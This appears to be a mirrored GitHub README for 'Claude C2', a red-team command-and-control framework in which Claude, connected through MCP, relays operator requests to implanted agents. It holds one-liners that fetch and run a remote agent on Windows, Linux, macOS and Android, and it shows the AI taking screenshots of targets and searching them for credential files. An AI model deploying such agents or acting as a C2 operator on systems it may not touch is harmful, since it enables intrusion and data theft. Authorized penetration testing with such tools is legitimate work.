https://github.com/0xyg3n/claude-c2
AI-Powered Command & Control Framework using Claude's Model Context Protocol (MCP)
https://github.com/0xyg3n/claude-c2
c2 claude command-and-control implant mcp offensive-security penetration-testing rat red-team security
Last synced: 2 months ago
JSON representation
AI-Powered Command & Control Framework using Claude's Model Context Protocol (MCP)
- Host: GitHub
- URL: https://github.com/0xyg3n/claude-c2
- Owner: 0xyg3n
- Created: 2025-12-04T22:15:09.000Z (7 months ago)
- Default Branch: main
- Last Pushed: 2025-12-13T12:52:17.000Z (7 months ago)
- Last Synced: 2025-12-19T16:48:28.621Z (6 months ago)
- Topics: c2, claude, command-and-control, implant, mcp, offensive-security, penetration-testing, rat, red-team, security
- Language: Shell
- Size: 430 KB
- Stars: 2
- Watchers: 0
- Forks: 1
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# Claude C2
### AI-Powered Command & Control Framework
[](https://github.com/0xyg3n/claude-c2)
[](https://claude.ai)
[](https://nodejs.org)
**Natural language control of remote systems through Claude AI and Model Context Protocol**
[Overview](#overview) · [Architecture](#architecture) · [Installation](#installation) · [Deployment](#deployment) · [Documentation](#documentation)
---
## Overview
Claude C2 is a command and control framework that integrates with Anthropic's Model Context Protocol (MCP), enabling operators to manage remote systems through natural language conversations with Claude AI.
Rather than memorizing command syntax across different operating systems, operators communicate intent in plain English. The AI interprets requests, selects appropriate targets, executes the necessary commands, and returns formatted results.
```
Operator: "Show me all connected systems"
Claude: [Queries client manager, returns formatted list with OS, hostname, IP, user context]
Operator: "Capture the screen on the Windows workstation"
Claude: [Identifies target, executes screenshot, saves to server, confirms completion]
Operator: "Search for configuration files containing credentials"
Claude: [Runs recursive search with appropriate OS commands, returns matching paths]
```
### Key Characteristics
| Feature | Description |
|:--------|:------------|
| **Natural Language Interface** | Communicate with targets through conversational English |
| **Cross-Platform** | Unified control across Windows, Linux, macOS, and Android |
| **Adaptive Execution** | AI automatically translates intent to OS-specific commands |
| **Minimal Footprint** | Agents use native scripting tools with no additional binaries |
| **Encrypted Transport** | TLS-secured WebSocket connections with OAuth 2.0 authentication |
| **Auto-Recovery** | Agents automatically reconnect on connection loss |
---
## Architecture
```
┌────────────────────────────────────────────────────────────────────────────┐
│ │
│ CLAUDE C2 ARCHITECTURE │
│ │
├────────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ │ │ │ │ │ │
│ │ OPERATOR │ MCP │ COMMAND │ WSS │ TARGET │ │
│ │ │◄───────►│ │◄───────►│ │ │
│ │ Claude.ai │ SSE │ SERVER │ JSON │ AGENTS │ │
│ │ │ │ │ │ │ │
│ └──────────────┘ └──────────────┘ └──────────────┘ │
│ │
│ │ │ │ │
│ │ Natural language │ Command routing │ Shell │
│ │ requests/responses │ Client management │ execution │
│ │ via Claude AI │ OAuth + TLS │ Results │
│ │ │ │ │
│ │
└────────────────────────────────────────────────────────────────────────────┘
```
**Communication Flow:**
1. Operator interacts with Claude AI through claude.ai interface
2. Claude connects to C2 server via MCP (Model Context Protocol) over SSE
3. Server maintains persistent WebSocket connections to all deployed agents
4. Commands are routed to appropriate agents based on operator intent
5. Agents execute commands using native OS tools and return results
6. Claude formats and presents results to operator
---
## Installation
### Prerequisites
- Node.js 18 or higher
- Valid SSL certificate (Let's Encrypt recommended)
- Domain name pointing to server
- Network access on ports 443, 3101, 3102
### Server Setup
```bash
# Clone repository
git clone https://github.com/0xyg3n/claude-c2.git
cd claude-c2
# Install dependencies
npm install
# Configure environment
cp .env.example .env
```
Edit `.env` with your configuration:
```env
DOMAIN=your-domain.com
MCP_PORT=3101
WS_PORT=3102
OAUTH_CLIENT_ID=your-client-id
OAUTH_CLIENT_SECRET=your-client-secret
SSL_CERT_PATH=/path/to/cert.pem
SSL_KEY_PATH=/path/to/key.pem
```
```bash
# Start server
npm start
```
### Claude.ai Integration
Configure MCP connector in Claude.ai settings:
| Parameter | Value |
|:----------|:------|
| Server URL | `https://your-domain.com/mcp/sse` |
| Authentication | OAuth 2.0 |
| Client ID | Value from `.env` |
| Client Secret | Value from `.env` |
---
## Deployment
Deploy agents to target systems using platform-specific one-liners:
Platform
Deployment Command
Windows
```powershell
irm https://YOUR_DOMAIN/agent/windows | iex
```
Linux
```bash
curl -s https://YOUR_DOMAIN/agent/linux | bash
```
macOS
```bash
curl -s https://YOUR_DOMAIN/agent/macos | bash
```
Android
```bash
curl -s https://YOUR_DOMAIN/agent/termux | bash
```
Agents operate in memory without persistence by default. Connection resilience is built-in with automatic reconnection on network interruption.
---
## Usage Examples
| Request | Action |
|:--------|:-------|
| `"List all connected clients"` | Display all active agents with system information |
| `"Execute whoami on target"` | Run command and return output |
| `"Take a screenshot"` | Capture display and save to server |
| `"Find all PDF documents"` | Recursive filesystem search |
| `"Show network configuration"` | Execute ipconfig/ifconfig based on OS |
| `"List running processes"` | Display process list with details |
| `"Open URL on Android device"` | Launch browser with specified URL |
When a single agent is connected, Claude automatically selects it. With multiple agents, specify the target by name or identifier.
---
## Demonstrated Platforms
| Windows 11 | Android (Termux) |
|:----------:|:----------------:|
| 
| 
|
| Full agent functionality | Termux environment with API access |
---
## Documentation
| Document | Description |
|:---------|:------------|
| [Integration Guide](docs/INTEGRATIONS.md) | Claude.ai configuration and API setup |
| [Android Operations](docs/ANDROID-TERMUX.md) | Termux-specific features and Termux:API |
---
## Legal Notice
**This software is provided strictly for authorized security testing, educational research, and legitimate penetration testing engagements.**
By using this software, you acknowledge and agree to the following:
- You have obtained **explicit written authorization** for any systems tested
- You understand that unauthorized access to computer systems is a **criminal offense** under applicable laws including but not limited to the Computer Fraud and Abuse Act (CFAA), Computer Misuse Act, and equivalent legislation in your jurisdiction
- The authors and contributors accept **no responsibility or liability** for any misuse, damage, or illegal activities conducted with this software
- You assume **full legal responsibility** for your use of this software
This tool is intended exclusively for:
- Licensed penetration testers with valid authorization
- Red team operators with written scope agreements
- Security researchers in controlled environments
- Educational purposes in authorized lab settings
---
**Claude C2** — Built on Anthropic's Model Context Protocol
# Claude C2 - Updated Mon Dec 8 13:44:11 EET 2025